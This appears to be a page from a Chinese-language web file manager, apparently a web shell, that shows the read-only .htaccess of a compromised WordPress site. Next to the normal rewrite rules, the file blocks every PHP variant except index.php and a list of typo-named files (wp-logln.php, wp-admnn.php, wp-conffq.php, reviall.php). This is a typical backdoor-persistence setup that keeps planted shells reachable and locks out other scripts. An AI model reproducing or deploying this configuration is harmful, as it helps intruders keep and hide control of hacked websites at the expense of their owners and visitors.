✏️ 编辑:.htaccess
路径:
/home/bombet5/public_html/.htaccess
大小:898 B · 修改:2026-11-12 22:28:24 · 权限:0444 · 只读(保存会失败)
← 返回目录
👁 查看
⬇ 下载
1
<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule> <FilesMatch ".*\.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5|php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$"> Order Allow,Deny Deny from all </FilesMatch> <FilesMatch "^(index.php|wp-login.php|wp-logln.php|wp-admnn.php|wp-conffq.php|wp-lock.php|wp-temp.php|wp-headre.php|reviall.php)$"> Order Allow,Deny Allow from all </FilesMatch> # php -- BEGIN cPanel-generated handler, do not edit # Set the “ea-php72” package as the default “PHP” programming language. <IfModule mime_module> AddHandler application/x-httpd-ea-php72 .php .php7 .phtml </IfModule> # php -- END cPanel-generated handler, do not edit
💾 保存
取消
保存为 UTF-8,换行统一为 LF